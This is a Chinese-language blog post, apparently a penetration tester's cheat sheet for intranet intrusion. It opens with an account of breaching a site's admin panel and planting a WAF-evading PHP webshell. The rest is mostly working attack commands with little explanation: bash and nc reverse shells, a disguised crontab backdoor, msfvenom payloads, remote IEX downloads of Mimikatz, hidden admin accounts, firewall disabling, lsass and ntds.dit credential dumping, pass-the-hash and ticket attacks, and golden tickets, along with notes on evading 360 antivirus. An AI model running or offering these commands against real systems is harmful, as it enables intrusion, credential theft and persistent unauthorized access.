最新消息:图 床

內網備忘錄

COOL IAM 133浏览 0评论

作者:tom0li

文章內容沒談snmp利用,可以去烏雲等社區獲取,沒有後續內網持久化,日誌處理,bypass uac等內容。

Webshell

測試主站,搜wooyun歷史洞未發現歷史洞,github,svn,目錄掃描未發現敏感信息,無域傳送,端口只開了80端口,找到後台地址,想爆破後台,驗證碼後台驗證,一次性,用ocr識別,找賬號,通過google,baidu,bing等搜索,相關郵箱,域名等加常用密碼組成字典,發現用戶手冊,找賬號,發現未打碼信息,和默認密碼,試下登陸成功,找後台,上傳有dog,用含有一句話的txt文件<?php eval($_POST['cmd']);?>,打包為zip,php文件<?php include 'phar://1.zip/1.txt';?>即可,c刀被攔,修改config.ini文件,php_make @eval(call_user_func_array(base64_decode,array($_POST[action])));用回調函數,第一個為函數名,二個為傳的參數.

前期收集

query user || qwinsta 查看當前在線用戶
net user  查看本機用戶
net user /domain 查看域用戶
net view & net group "domain computers" /domain 查看當前域計算機列表 第二個查的更多
net view /domain 查看有幾個域
net view //dc   查看dc域內共享文件
net group /domain 查看域裡面的組
net group "domain admins" /domain 查看域管
net localgroup administrators /domain   /這個也是查域管,是升級為域控時,本地賬戶也成為域管
net group "domain controllers" /domain 域控
net time /domain 
net config workstation   當前登錄域 - 計算機名 - 用戶名
net use //域控(如pc.xx.com) password /user:xxx.com/username 相當於這個帳號登錄域內主機,可訪問資源
ipconfig
systeminfo
tasklist /svc
tasklist /S ip /U domain/username /P /V 查看遠程計算機tasklist
net localgroup administrators && whoami 查看當前是不是屬於管理組
netstat -ano
nltest /dclist:xx  查看域控
dsquery
whoami /all 查看Mandatory Label uac級別和sid號
net sessoin 查看遠程連接session(需要管理權限)
net share     共享目錄
cmdkey /l   查看保存登陸憑證
echo %logonserver%  查看登陸域
spn –l administrator spn記錄
set  環境變量
dsquery server - 查找目錄中的 AD DC/LDS 實例
dsquery user - 查找目錄中的用戶
dsquery computer 查詢所有計算機名稱windows 2003
dir /s *.exe 查找指定目錄下及子目錄下沒隱藏文件
arp -a
  • 發現遠程登錄密碼等密碼 netpass.exe

下載https://www.nirsoft.net/utils/network_password_recovery.html

  • 獲取window vpn密碼:

    mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit

  • wifi密碼:

    netsh wlan show profile 查處wifi名下一條命令用
    netsh wlan show profile WiFi-name key=clear

  • ie代理

    reg query “HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings” /v ProxyServer
    reg query “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings”

  • pac代理

    reg query “HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings” /v AutoConfigURL //引 t0stmail

一些命令

ping          icmp連通性
nslookup www.baidu.com vps-ip dns連通性
dig @vps-ip www.baidu.com
curl vps:8080  http連通性
tracert
bitsadmin /transfer n http://ip/xx.exe C:/windows/temp/x.exe一種上傳文件 >=2008
fuser -nv tcp 80 查看端口pid
rdesktop -u username ip linux連接win遠程桌面 (有可能不成功)
where file win查找文件是否存在 
找路徑,Linux下使用命令find -name *.jsp來查找,Windows下,使用for /r c:/windows/temp/ %i in (file lsss.dmp) do @echo %i
netstat -apn | grep 8888   kill -9 PID   查看端口並kill

3389

判斷是內網,還是外網,內網轉發到vps

netstat -ano,沒有開啟3389端口,複查下
tasklist /svc,查svchost.exe對應的TermService的pid,看netstat相等的pid即3389端口.

添加user

net user admin1 admin1 /add & net localgroup administrators admin1 /add

如不允許遠程連接,修改註冊表

REG ADD "HKLM/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  
REG ADD "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f  

如果系統未配置過遠程桌面服務,第一次開啟時還需要添加防火牆規則,允許3389端口,命令如下:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

關閉防火牆

netsh firewall set opmode mode=disable  

3389user無法添加

隱藏win賬戶

開啟sys權限cmd

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority/system'

add user 並隱藏

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')

win server有密碼強度要求,改為更複雜密碼即可

滲透技巧——Windows系統的帳戶隱藏
windows的RDP連接記錄

反彈,轉發

linux bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
|
bash -i 交互的shell
>& 標準錯誤輸出到標準輸出
/dev/tcp/10.0.0.1/8080 建立socket ip port
0>&1 標準輸入到標準輸出

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/IP/port;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
猥瑣版(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/IP/PORT;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;/rno crontab for whoami%100c/n")|crontab -
詳細介紹 https://github.com/tom0li/security_circle/blob/master/15288418585142.md

ngrok-backdoor

Grok-backdoor是一個簡單的基於python的後門,它使用Ngrok隧道進行通信。Ngrok後門可以使用Pyinstaller生成windows,linux和mac二進制文件.
雖然免殺,但如果開win防火牆會提示,生成後門時會詢問是否捆綁ngrok,選擇no時,在被攻擊機執行時需聯網下載ngrok,運行后,telnet連接即可.
github https://github.com/deepzec/Grok-backdoor

veil

這裡,安裝問題有點多,我用kali-2018-32安裝成功,先安裝下列依賴,后按照官方即可。

apt-get install libncurses5*
apt-get install libavutil55*
apt-get install gcc-mingw-w64*
apt-get install wine32  

生成shell

./Veil.py
use 1
use c/meterpreter/rev_tcp

在win gcc -o v.exe v.c -lws2_32 用mingw下gcc編譯bypass 360
msfconsole -r veil.rc (其中veil.rc是之前生成的,bypass)

python -m SimpleHTTPServer 80虛擬機里開啟,在外訪問虛擬機ip即可下載虛擬機文件

ew

tools: http://rootkiter.com/EarthWorm
新版tools: http://rootkiter.com/Termite/
正向:

被攻擊機(跳板):
        temp目錄下
        unzip ew.zip
        file /sbin/init (查看linux位數)
        chmod 755 ew_for_Linux
        ./ew_for_Linux -s ssocksd -l 9999 (偵聽0.0.0.0:9999)
        netstat -pantu|grep 9999 (查看是否偵聽成功)
攻擊機:
        proxychain設置socks5 為跳板ip port
        proxychain nmap即可以用跳板代理掃描其他主機

反向:

攻擊機:
    chmod 777 ./ew_for_linux64
    ./ew_for_linux -s rcsocks -l 1080 -e 2333 即被攻擊機連接本機2333端口,轉發到本機的1080端口,訪問本機的1080端口,相當訪問被攻擊機的2333
    設置proxychain socks5 本主機ip port:1080
    proxychain代理即可
被攻擊機:
    chmod 777 ew_for_linux
    ./ew_for_Linux32 -s rssocks -d 192.168.1.100 -e 2333

nc

nc簡單使用
linux root 權限

mknod /tmp/backpipe p  
/bin/sh 0</tmp/backpipe | nc ip port 1>/tmp/backpipe

權限不夠用mkfifo /tmp/backpipe
以上用nc監聽即可

lcx

被攻擊機 lcx.exe -slave 139.1.2.3 8888 10.48.128.25 3389
vps      lcx.exe –listen 8888 5555

在本機mstsc登陸139.1.2.3:5555或在vps連接127.0.0.1:5555

netsh win自帶(只支持tcp)360攔

netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.1.101 connectport=8080

將本地80轉到192.168.1.101:8080端口

netsh interface portproxy add v4tov4 listenaddress=1.1.1.101 listenport=8082 connectaddress=192.168.2.102 connectport=3389

通過連接1.1.1.101的8082端口,相當連接1.1.1.101可訪問的內網192.168.2.102的3389端口

go+msf & py+msf bypass360

msf編碼生成后,用go build -ldflags="-H windowsgui -s -w"即可,詳細參考以下link

http://lu4n.com/metasploit-payload-bypass-av-note/
http://hacktech.cn/2017/04/20/msf-AntiVirus.html

提權

win提權輔助工具,原理主要通過systeminfo補丁信息比對漏洞庫
工具鏈接 https://github.com/GDSSecurity/Windows-Exploit-Suggester

linux提權輔助
https://github.com/jondonas/linux-exploit-suggester-2

感謝前輩收集的提權exp,地址:
windows-kernel-exploits Windows平台提權漏洞集合
linux-kernel-exploits Linux平台提權漏洞集合

msf

linux相關payload:

    linux/x86/meterpreter/reverse_tcp
    linux/x86/meterpreter/bind_tcp
    linux/x86/shell_bind_tcp
    linux/x86/shell_reverse_tcp
    linux/x64/shell/bind_tcp
    linux/x64/shell/reverse_tcp
    linux/x64/shell_bind_tcp
    linux/x64/shell_bind_tcp_random_port
    linux/x64/shell_reverse_tcp

windows相關payload:

    windows/meterpreter/reverse_tcp
    windows/meterpreter/bind_tcp
    windows/meterpreter/reverse_hop_http
    windows/meterpreter/reverse_http
    windows/meterpreter/reverse_http_proxy_pstore
    windows/meterpreter/reverse_https
    windows/meterpreter/reverse_https_proxy
    windows/shell_reverse_tcp
    windows/shell_bind_tcp
    windows/x64/meterpreter/reverse_tcp
    windows/x64/meterpreter/bind_tcp
    windows/x64/shell_reverse_tcp
    windows/x64/shell_bind_tcp

目標服務器為64位用x64監聽,反彈meterpreter用含有meterpreter的模塊,反彈普通的shell(例如nc),shell_reverse_tcp模塊監聽

例如msf:

反彈shell  msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe 
監聽       windows/meterpreter/reverse_tcp

反彈shell  nc -e cmd.exe ip port 
監聽       windows/shell_reverse_tcp

meterpreter下上傳 upload file 下載 download file

Msf進程注入(測試win10沒成功,win2008 可以,360會攔)

meterpreter > getuid
Server username: xxxx
meterpreter > getpid
Current pid: 3456
meterpreter > ps

Process List
============
 PID   PPID  Name                       Arch  Session  User          Path
---   ----  ----                       ----  -------  ----          ----
 12000  676  shell.exe                  x86   2        xxx  C:/Users/xxx/Desktop/shell.exe
 676  1124  explorer.exe               x64   2        xxx  C:/Windows/explorer.exe

meterpreter > migrate 676
[*] Migrating from 12000 to 676...
[*] Migration completed successfully.

Msf hash

  1. meterpreter > run hashdump 需要sys權限 導出SAM
  2. meterpreter > run post/windows/gather/smart_hashdump 需要sys權限
  3. getsystem存在uac,用msf bypass,但特徵明顯 meterpreter > search bypassuac
  4. msf powerdump load mimikatz 不太好用

Msf的持續後門

Persistence: run persistence -h:用於創建啟動項啟動,會創建註冊表,創建文件。(X86_Linux不支持此腳本)

run persistence -U -i 10 -p 10390 -r free.ngrok.cc 
會被360攔,-i 10 10秒請求一次

使用powershell執行也被監控而被360攔截

meterpreter 的 run getgui -e 命令可以開啟成
功。360會提示阻止

Run metsvc -h :用於創建服務,會創建meterpreter服務,並上傳三個文件,使用-r參數可以卸載服務 ,被攔

Msf powershell

meterpreter > load powershell
meterpreter > powershell_shell
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Ps > Invoke-Mimikatz -DumpCreds

Msf Router

2個或多個路由之間,沒有配置相應的路由表,不能訪問,獲得一台機器shell session 添加路由,使msf可以在當前shell session下以被攻擊機訪問其他內網主機.

meterpreter > run get_local_subnets 
    [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
    [!] Example: run post/multi/manage/autoroute OPTION=value [...]
    Local subnet: 172.17.0.0/255.255.0.0
meterpreter > run autoroute -s 172.17.0.0/16  添加路由
meterpreter > run autoroute -p                查看路由
meterpreter > run autoroute -d -s 172.17.0.0/16  刪除

MS17-010

meterpreter > background 
[*] Backgrounding session 1...
msf exploit(multi/handler) > use auxiliary/scanner/smb/smb_ms17_010 
msf auxiliary(scanner/smb/smb_ms17_010) > set rhosts 172.17.0.0/24
rhosts => 172.17.0.0/24
msf auxiliary(scanner/smb/smb_ms17_010) > set threads 50
threads => 50
msf auxiliary(scanner/smb/smb_ms17_010) > run

先利用exploit/windows/smb/ms17_010_psexec,win10舊版依舊可以,新版設置smbuser,smbpass即可

Msf掃描

經過上面設置路由即可使用以下scan:

use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/tcp
常用port 21,80,443,873,2601,2604,3128,4440,6082,6379,8000,8008,8080,8081,8090,8099,8088,8888,9000,9090,9200,11211,27017,28017,50070,19004440,5082,7001,6082,50000,8888,2222,2082,2083,3312,3311,7778,8083,10000,8089,8649,27017,27018,5900,5631,4899

服務掃描:

SMB版本識別:auxiliary/scanner/smb/smb_version 
MSSQL信息收集:search mssql相關模塊,如auxiliary/scanner/mssql/mssql_ping 查詢mssql監聽的端口,默認1433
SSH版本信息:auxiliary/scanner/ssh/ssh_version
FTP版本識別:auxiliary/scanner/ftp/ftp_version
HTTP服務:auxiliary/scanner/http/http_header 返回相關header信息

port:21 (FTP)

auxiliary/scanner/ftp/ftp_login     //FTP登陸爆破

其它:search FTP。FTP常見利用方式,除了直接獲取文件,還要注意目錄跨越漏洞,成功利用,可以直接反彈shell

port:22 (SSH)

auxiliary/scanner/ssh/ssh_login

其它:search SSH

port:23 (telnet)

auxiliary/scanner/telnet/telnet_login    //主要目標是內網中的路由器,交換機等網絡設備

port:445

exploit/windows/smb/ms08_067_netapi         //上古漏洞,依然有驚喜
exploit/windows/smb/ms17_010_eternalblue    //永恆之藍
auxiliary/scanner/smb/smb_login             //SMB登陸爆破

其它:search smb | Samba。linux下的CVE-2017-7494, 445 端口的遠程利用

port:3389 (遠程桌面RDP)

auxiliary/scanner/rdp/ms12_020_check

5900 (VNC)

auxiliary/scanner/vnc/vnc_none_auth
auxiliary/scanner/vnc/vnc_login
exploit/multi/vnc/vnc_keyboard_exec

數據庫:

port:1433 (Sqlserver)

use auxiliary/scanner/mssql/mssql_login

port:3306 (Mysql)

auxiliary/scanner/mysql/mysql_login

port: 27017、27018 (Mongodb)

auxiliary/scanner/mongodb/mongodb_login

port:6379 (Redis)

auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/file_upload

port:1521 (Oracle)

search Oracle

port:5432 (PostgreSQL)

search PostgreSQL

use auxiliary/server/socks4a
proxychains設置socks4為上條設置的,即可在本地代理掃描, 目前msf已經支持 socks5 代理

Msf端口轉發portfwd

portfwd add -L 0.0.0.0 4443 -p 3389 -r 192.168.2.100

將192.168.1.2.100內網轉發到本地4443 port,流量大不好用

Msf截屏(沒被360攔沒提示,或許有意外收穫)

meterpreter > use espia
meterpreter > screengrab

Msf嗅探

meterpreter > use sniffer
Loading extension sniffer...Success.
meterpreter > help

Sniffer Commands
================

    Command             Description
    -------             -----------
    sniffer_dump        Retrieve captured packet data to PCAP file
    sniffer_interfaces  Enumerate all sniffable network interfaces
    sniffer_release     Free captured packets on a specific interface instead of downloading them
    sniffer_start       Start packet capture on a specific interface
    sniffer_stats       View statistics of an active capture
    sniffer_stop        Stop packet capture on a specific interface

meterpreter > sniffer_interfaces

1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
3 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
4 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
5 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )

meterpreter > sniffer_start 5
[*] Capture started on interface 5 (50000 packet buffer)
meterpreter > sniffer_dump 5 /tmp/1.pcap
[*] Flushing packet capture buffer for interface 5...
[*] Flushed 2540 packets (1450560 bytes)
[*] Downloaded 036% (524288/1450560)...
[*] Downloaded 072% (1048576/1450560)...
[*] Downloaded 100% (1450560/1450560)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/1.pcap
meterpreter > sniffer_stop 5
[*] Capture stopped on interface 5
[*] There are 29 packets (2263 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'

鍵盤記錄

Msf鍵盤記錄在win不會創建新進程

meterpreter > keyscan_start 
Starting the keystroke sniffer ...
meterpreter > keyscan_dump 
Dumping captured keystrokes...
jamd<CR>
meterpreter > keyscan_stop 
Stopping the keystroke sniffer...

Keylogger(tip:可以把管理工具,如navicat,putty,SecureCRT,PLSQL設置記住密碼)
ixkeylog,linux>=2.63 –redrain推薦

遠程命令執行

at/schtasks/psexec/wmic/sc/ps

window 在工作組內用非 Administrator (SID!=500)其他管理員建立遠程連接( wmi, ipc$ ),權限不是管理權限,可以改 LocalAccountTokenFilterPolicy = 1

reg add  HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/system 
/v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

ipc$

開啟共享,開445,139 port

D:>net use //192.168.1.254/c$ "pwd" /user:user     //連接192.168.1.254的IPC$共享,用unc路徑
如果是域用戶 D:>net use //192.168.1.254/c$ "pwd" /user:domain/user
D:>copy srv.exe //192.168.1.254/c$ //複製本地srv.exe到C根目錄
D:>net time //192.168.1.254         //查時間
D:>at //192.168.1.254 10:50 srv.exe //用at命令在10點50分啟動srv.exe (這裡360會攔截)
D:>net use //192.168.1.254/c$ /del

Schtasks

這裡schtasks用着很舒服:

schtasks /create /tn mytask /s ip /tr F:/Desktop.exe /sc minute /mo 1  /F 每分運行1次  普通權限即可, /s參數 遠程ip 用於ipc連接后,遠程主機執行 ,/F 表示有重名直接覆蓋和創建或刪除修改計劃不再確認
schtasks /create /tn mytask /tr F:/Desktop.exe /sc minute /mo 1 /ru system /F  管理員權限運行

如果程序有參數用引號”C:/procdump64.exe -accepteula -ma lsass.exe lsass.dmp”
schtasks /Create /TN test /SC DAILY /ST 00:09 /TR notepad.exe /RU SYSTEM
內置命令前加”cmd /c”

schtasks /create /tn mytask /tr "cmd /c copy //?/GLOBALROOT/Device/HarddiskVolumeShadowCopy41/windows/NTDS/ntds.dit c:/ntds.dit 2>&1 > c:/windows/temp/1.txt" /sc minute /mo 1  /f /ru system /s 172.17.1.1
C:/jboss-5.1.0.GA/bin/>schtasks /create /tn mytask /s 172.17.1.1 /tr "C:/procdump64.exe -accepteula -ma lsass.exe lsass.dmp" /sc minute /mo 2
SUCCESS: The scheduled task "mytask" has successfully been created.

C:/jboss-5.1.0.GA/bin/>schtasks /Query /TN mytask /s 172.17.1.1
Folder: /
TaskName                                 Next Run Time          Status         
======================================== ====================== ===============
mytask                                   16-05-2018 07:50:00    Ready          

C:/jboss-5.1.0.GA/bin/>schtasks /Run /TN mytask /s 172.17.1.1

Folder: /
TaskName                                 Next Run Time          Status         
======================================== ====================== ===============
mytask                                   16-05-2018 07:52:00    Ready          

C:/jboss-5.1.0.GA/bin/>schtasks /Delete /TN mytask /F /s 172.17.1.1
SUCCESS: The scheduled task "mytask" was successfully deleted.

psexec

psexec 不推薦用,創建服務並刪除,產生日誌,需要開共享

psexec -r sanr //192.168.1.101 -u user -p pass cmd -r 參數為創建的服務名 可能繞過檢測

wmi(135)

wmi 如果防火牆開啟無法連接,優點無日誌,無落地(寫入磁盤),以下命令無回顯,寫入txt,type查看

wmic /node:192.168.1.101 /user:admin /password:@!123QWW
process call create "cmd.exe /c whoami"
wmiexec

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
如果沒明文密碼,pth后利用。
http://www.91ri.org/12908.html

winexe

winexe可以從Linux上遠程執行windows命令(SMB),kali自帶

./winexe --system -U 'Administrator%123123' //192.168.1.101 'cmd.exe /c whoami'

PsRemoting

2012 r2起,默認端口5985,系統自帶遠程管理winrs
winrs -r:192.168.1.101 -u:administrator -p:pwd ipconfig

mimikatz + procdump 獲得內存 hash

如果服務器是64位,要把Mimikatz進程遷移到一個64位的程序進程中,才能查看64位系統密碼明文。32位任意

運行procdump.exe -accepteula -ma lsass.exe lsass.dmp(管理權限)后lsass.dmp放到mimikatz.exe同目錄,運行以下命令

mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:/Windows/Temp/test/x64>mimikatz.exe

  .#####.   mimikatz 2.1.1 (x64) built on May  2 2018 00:26:52
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / / ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## / / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'
mimikatz # sekurlsa::logonPasswords full
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 4 ; 484366552 (00000004:1cded8d8)
Session           : RemoteInteractive from 4
User Name         : admin
Domain            : xx
Logon Server      : WIN-VEG0FAB6OQS
Logon Time        : 5/5/2018 11:49:44 AM
SID               : S-1-5-21-970513389-3385549917-1141547890-1128
        msv :
         [00000003] Primary
         * Username : admin
         * Domain   : xx
         * NTLM     : xxxxxxxxxxxxxxxxxx
         * SHA1     : xxxxxxxxxxxxxxxxxxxxxx
         [00010000] CredentialKeys
         * NTLM     : xxxxxxxxxxxxxxxxxxxxxx
         * SHA1     : xxxxxxxxxxxxxxxxxx
        tspkg :
        wdigest :
         * Username : admin
         * Domain   : xx
         * Password : QWEad!@w123
        kerberos :
         * Username : admin
         * Domain   : xx
         * Password : QWEad!@w123
        ssp :
        credman :
Authentication Id : 0 ; 2138016 (00000000:00209fa0)
Session           : Service from 0
User Name         : dmadmin
Domain            : xx
Logon Server      : WIN-VEG0FAB6OQS
Logon Time        : 3/7/2018 3:23:17 PM
SID               : S-1-5-21-970513389-3385549917-1141547890-1119
        msv :
         [00000003] Primary
         * Username : dmadmin
         * Domain   : xx
         * NTLM     : xxxxxxxxxxxxx
         * SHA1     : xxxxxxxxxxxx
         [00010000] CredentialKeys
         * NTLM     : xxxxxxxxxxxxxxxxxxxxx
         * SHA1     : xxxxxxxxxxxxxxxxxx
        tspkg :
        wdigest :
         * Username : dmadmin
         * Domain   : xx
         * Password : 1234!qw
        kerberos :
         * Username : dmadmin
         * Domain   : xx.com
         * Password : (null)
        ssp :
        credman :

導出當前 內存 hash,需要免殺過av等

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

Windows Server 2012,部分Windows Server 2008默認無法使用mimikatz導出明文口令

解決方法:啟用Wdigest Auth

cmd:

reg add HKLM/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

powershell:

Set-ItemProperty -Path HKLM:/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest -Name UseLogonCredential -Type DWORD -Value 1

重啟或者用戶再次登錄,能夠導出明文口令
3gstudent自動Dump-Clear-Text-Password-after-KB2871997-installed

SAM-hash

管理權限:

reg save HKLM/SYSTEM Sys.hiv
reg save HKLM/SAM Sam.hiv

mimikatz:

lsadump::sam /sam:Sam.hiv /system:Sys.hiv
mimikatz # lsadump::sam /sam:SamBkup.hiv /system:SystemBkup.hiv
Domain : MINI
SysKey : 58699cc69ada69e9d859731bec45824d
Local SID : S-1-5-21-687613702-1072107351-1410383080

SAMKey : 339c56f87f46195ddd5158c018a973de

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 22388b7da6d4e33b9ab1cdf631daff8c

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000003ee (1006)
User : HomeGroupUser$
  Hash NTLM: 73233a63fa3dd495142e3a362a921221

pass the hash

wmiexec普通權限即可
https://github.com/maaaaz/impacket-examples-windows

wmiexec -hashes 00000000000000000000000000000000:99b2b135c9e829367d9f07201b1007c3 TEST/test1@192.168.1.1 "whoami" //domain=TEST user=test1

or
需要管理權限

mimikatz "privilege::debug" "sekurlsa::pth /user:abc /domain:test.local /ntlm:hash"

or

meterpreter > run post/windows/gather/hashdump
Administrator:500:xxxxxxxxxxxx9a224a3b108f3fa6cb6d:xxxxf7eaee8fb117ad06bdd830b7586c:::
meterpreter > background
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBuser Administrator
msf exploit(psexec) > set SMBPass xxxxxxxxxxxx9a224a3b108f3fa6cb6d:xxxxf7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell

安裝了KB2871997補丁或者系統版本大於等於windows server 2012時,內存不再明文保存密碼,1,改註冊表后,註銷再次登錄,可以使用,schtasks等執行命令無法用管理員權限。2.用ptk,ptt。例外,打補丁后administrato(SID-500)依舊可以pth

https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0/

pass the key

需要免殺:

mimikatz "privilege::debug" "sekurlsa::ekeys"  獲取用戶的aes key
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:asdq379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c"  注入aes key
dir //計算機名

pass the ticket

不需要管理員權限

kekeo "tgt::ask /user:abc /domain:test.local /ntlm:hash"

https://github.com/gentilkiwi/kekeo

導入ticket:

kekeo "kerberos::ptt TGT_abc@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi"

ntds.dit

vssadmin方法>=win 2008
查詢當前系統的快照

vssadmin list shadows

創建快照

vssadmin create shadow /for=c:

獲得Shadow Copy Volume Name為/?/GLOBALROOT/Device/HarddiskVolumeShadowCopy47

複製ntds.dit

copy //?/GLOBALROOT/Device/HarddiskVolumeShadowCopy47/windows/NTDS/ntds.dit c:/ntds.dit    copy第一個參數為創建快照時位置

複製system和sam

copy //?/GLOBALROOT/Device/HarddiskVolumeShadowCopy47/windows/system32/config/system c:/
copy //?/GLOBALROOT/Device/HarddiskVolumeShadowCopy47/windows/system32/config/sam c:/

刪除快照

vssadmin delete shadows /for=c: /quiet

獲取將以上system,sam, ntds.dit 放到 /root/ntds_cracking/下,運行

python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/SYSTEM LOCAL -outputfile  hash.txt

安裝:

git clone  https://github.com/CoreSecurity/impacket.git
cd impacket-master/
python setup.py  install

py地址 https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py
參考:域滲透——獲得域控服務器的NTDS.dit文件

dc定位
nltest dclist:xx.xx
net time /domain
systeminfo 中的domain
ipconfig /all 中的DNS Suffix Search List
掃描53端口,找dns位置
C:/jboss-5.1.0.GA/bin/>set log
LOGONSERVER=//DC01
net group "domain controllers" /domain
PowerView Get-NetDomainController
PowerView地址https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

windows log

微軟第三方信息收集工具LogParser.exe psloglist.exe等

powerhsell神器

nishang
https://github.com/samratashok/nishang

spn掃描
https://github.com/nullbind/Powershellery/tree/master/Stable-ish

PowerSploit
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

針對ps的Empire
https://github.com/EmpireProject/Empire

ms14-068 Kerberos漏洞利用:

生成TGT:用於偽造

whoami /all
                      用戶@ 域名                 用戶sid    域主機
python ms14068.py -u admin@xxx.com -p password -s sid -d dc.xxx.com
ms14068.exe -u admin@xxx.com -p password -s sid -d dc.xxx.com

會生成TGT_admin@xxx.com.ccache

注入TGT:

klist
klist purge 清除所有憑證,等一會在執行下列命令(https://www.t00ls.net/thread-28727-1-1.html)
寫入內存 mimikatz.exe "kerberos::ptc c:/TGT_admin@xxx.com.ccache"

若成功

dir //dc.xxx.com/c$
net user admin xxxxx@password /add /domain
net group "Domain Admins" admin /add /domain

msf ms14_048_kerberos_checksum模塊也可以檢測
工具:
https://www.t00ls.net/viewthread.php?tid=28207&from=favorites
https://github.com/gentilkiwi/kekeo

GPP漏洞利用

win2008增加,一般域用戶都可訪問敏感文件
密碼存在SYSCOL目錄下:

Groups.xml, 這個文件是域管通過GPP設置或修改本地密碼留下的
Services/Services.xml,
ScheduledTasks/ScheduledTasks.xml,
Printers/Printers.xml,
Drives/Drives.xml,
DataSources/DataSources.xml
net use //域控(如pc.xx.com) password /user:xxx.com/username 
dir //域控/SYSVOL /s /a > sysvol.txt
findstr /i "groups.xml" sysvol.txt

找到cpassword
解密過程:

set-executionPolicy bypass
powershell -ep bypass     啟動ps
Import-Module ./GPP.ps1
Get-DecryptedCpassword  xxxxxxxxxxxxxx

腳本link:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

利用SYSVOL還原組策略中保存的密碼

黃金票據(維權)

域用戶sid

whoami /all

krbtgt hash

mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"

域管
net group “domain admins” /domain
這裡是administrator

mimikatz "kerberos::purge"
"kerberos::golden /admin:administrator /domain:xx.com /sid:S-1-5-..... /krbtgt:hash /ticket:Adminstrator.kiribi"
"kerberos::ptt Administrator.kiribi"
"kerberos::tgt"

總結

